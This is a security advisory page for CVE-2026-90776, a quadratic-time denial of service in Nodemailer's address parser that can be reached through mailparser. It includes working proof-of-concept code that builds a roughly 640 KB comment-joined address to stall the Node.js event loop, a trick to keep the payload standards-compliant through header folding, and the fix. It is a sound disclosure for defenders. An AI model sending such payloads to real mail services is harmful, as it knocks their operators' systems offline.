CVE-2026-90776: Nodemailer 9.1.0 through 10.0.4 Denial of Service via Quadratic Address Parsing

Published Sep 13, 2026
·
Updated

Summary

nodemailer/lib/addressparser parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like a@b(c)@b(c)@b(c)..., every atom re-joins that same growing string.

The join check in src/addressparser/index.ts:

js const joins = prevToken && prevToken.noBreak && parts.length && (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. parts[parts.length - 1].slice(-1) runs before the cheap token.value.charAt(0). slice(-1) has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since || is left to right, the cheap charAt(0) that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → slice(-1) re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (npm i nodemailer@10.0.3):

js const addressparser = require('nodemailer/lib/addressparser'); const s = Date.now(); addressparser('a' + '@b(c)'.repeat(130000)); console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (npm i mailparser@3.9.24):

js const { simpleParser } = require('mailparser'); (async () => { const to = 'a' + '@b(c)'.repeat(130000); const eml = From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n; const s = Date.now(); await simpleParser(eml); console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking })();

Timings measured on 10.0.3:

| Address value | Parse time | | --- | --- | | 390 KB | 1.3 s | | 585 KB | 5.6 s | | 640 KB | 6.7 s | | 976 KB | 18 s |

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every )+@ junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs addressparser on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound To/From/Cc with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

js (prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Other sources

Nodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments. Attackers can craft malicious email headers with comment-separated atoms to consume excessive CPU and block the Node.js event loop for several seconds, causing denial of service.

— MITRE

Affected Software

4 affected componentsFixes available
npm/nodemailer>=9.1.0<=10.0.4
IBM API Connect<=V10.0.8.0 - V10.0.8.13
npm/nodemailer>=9.1.0<=10.0.4
10.0.5
debian/node-nodemailer<=6.8.0+~6.4.6-1, <=6.10.0+~6.4.17-1+deb13u1
10.0.14+~8.0.2-110.6.0+~8.0.2-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/nodemailer to a version that resolves this vulnerability.

    Fixed in 10.0.5
  2. Upgrade

    Upgrade debian/node-nodemailer to a version that resolves this vulnerability.

    Fixed in 10.0.14+~8.0.2-1Fixed in 10.6.0+~8.0.2-1
  3. Compensating control

    In src/addressparser/index.ts, swap the last two operands in the join check so token.value.charAt(0) === '@' is evaluated before parts[parts.length - 1].slice(-1) === '@'.

Event History

Sep 13, 2026
CVE Published
via MITRE·11:42 AM
Data Sourced
via MITRE·11:42 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·12:17 PM
DescriptionSeverityWeakness
Sep 30, 2026
Advisory Published
via GitHub·02:41 PM
Data Sourced
via GitHub·02:41 PM
DescriptionSeverityWeaknessAffected Software
Nov 18, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which deployments are exposed to remote exploitation?

Deployments using Nodemailer 9.1.0 through 10.0.4 are exposed if an attacker can cause the application to parse attacker-controlled email headers. The issue is network-reachable and requires no privileges or user interaction.

2

What is the operational impact of a successful attack?

A crafted address containing RFC 5322 comment-separated atoms can consume excessive CPU during address parsing. This can block the Node.js event loop for several seconds and deny service to requests handled by that process.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203